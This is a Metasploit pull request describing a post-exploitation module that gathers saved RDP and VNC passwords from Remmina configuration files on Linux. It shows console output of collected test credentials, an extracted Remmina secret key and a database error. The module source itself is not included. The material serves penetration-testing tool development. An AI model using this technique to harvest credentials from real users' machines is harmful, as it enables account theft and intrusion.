rapid7/metasploit-framework — pull request #3972 by jhart-r7 (2014-10-08 20:10:33+00:00)
Title: Add Remmina RDP/SSH/VNC password gathering

This is a more recent version of #3599, which went south after a bad merge and trying to get things reworked to use the new credentials model.

The other day I had to use Remmina, a utility on Linux that (among other things) supports Network Layer Authentication (NLA) for RDP. The system in question was configured to only allow RDP with NLA so I had no choice but to use this client. I was surprised to find that it saved my credentials and didn't use a keyring/etc. As it turns out, this is on purpose -- http://remmina.sourceforge.net/faq.shtml. So I tossed together a module to rip out my creds, because the though of having to use a client that puts my credentials at risk just to connect to a *more* secure host just feels wrong.

Validation:

1) Install Remmina (available for (at least) Ubuntu 12.04, OS X)
2) Start Remmina, add a few saved connections of different types
3) Run this module after getting a session. In non-verbose mode:
```
msf post(remmina_creds) > run

[+] Collected 4 sets of Remmina credentials
[*] Post module execution completed
msf post(remmina_creds) > creds
Credentials
===========

host service public private realm private_type
---- ------- ------ ------- ----- ------------
10.0.1.2 3389/tcp (rdp) rdpuser1 rdppass1 Password
10.0.1.2 3389/tcp (rdp) rdpuser2 rdppass2 Password
10.0.1.2 3389/tcp (rdp) rdpuser3 rdppass3 Password
10.0.1.2 5900/tcp (vnc) vncuser1 vncpass1 Password
```

Verbose:
```
msf post(remmina_creds) > run

[*] Searching for Remmina creds in 41 user directories
[*] Extracted secret Y8jO4HRbVjdSL7XugAHiI0nujS7PjJf4jUj1qtueFD4= from /home/jhart/.remmina/remmina.pref
[-] No password in /home/jhart/.remmina/1406846543539.remmina
[-] No password in /home/jhart/.remmina/1406846324986.remmina
[+] Collected 4 sets of Remmina credentials
[*] Post module execution completed
msf post(remmina_creds) > creds
Credentials
===========

host service public private realm private_type
---- ------- ------ ------- ----- ------------
10.0.1.2 3389/tcp (rdp) rdpuser1 rdppass1 Password
10.0.1.2 3389/tcp (rdp) rdpuser2 rdppass2 Password
10.0.1.2 3389/tcp (rdp) rdpuser3 rdppass3 Password
10.0.1.2 5900/tcp (vnc) vncuser1 vncpass1 Password
...
```

The same problems that cropped up in #3599 are still here and represent a flaw or new use case for the credentials, namely that the host/ip that the credentials are obtained *from* may not be the same host/ip that the credentials are *for*, and that these credentials may belong to a host that doesn't resolve for any number of reasons but we still want to record this information:

```
[*] Searching for Remmina creds in 41 user directories
[*] Extracted secret Y8jO4HRbVjdSL7XugAHiI0nujS7PjJf4jUj1qtueFD4= from /home/jhart/.remmina/remmina.pref
[-] No host, user and password in /home/jhart/.remmina/1406846543539.remmina
[-] Post failed: ActiveRecord::StatementInvalid PG::InvalidTextRepresentation: ERROR: invalid input syntax for type inet: "vncserver1"
LINE 1: ..."hosts".* FROM "hosts" WHERE "hosts"."address" = 'vncserver...
^
: SELECT "hosts".* FROM "hosts" WHERE "hosts"."address" = 'vncserver1' AND "hosts"."workspace_id" = 37 LIMIT 1
[-] Call stack:
```

Note that for purposes of proving that this works when ```host``` is valid, I temporarily modified my local, unpushed code to use ```rhost```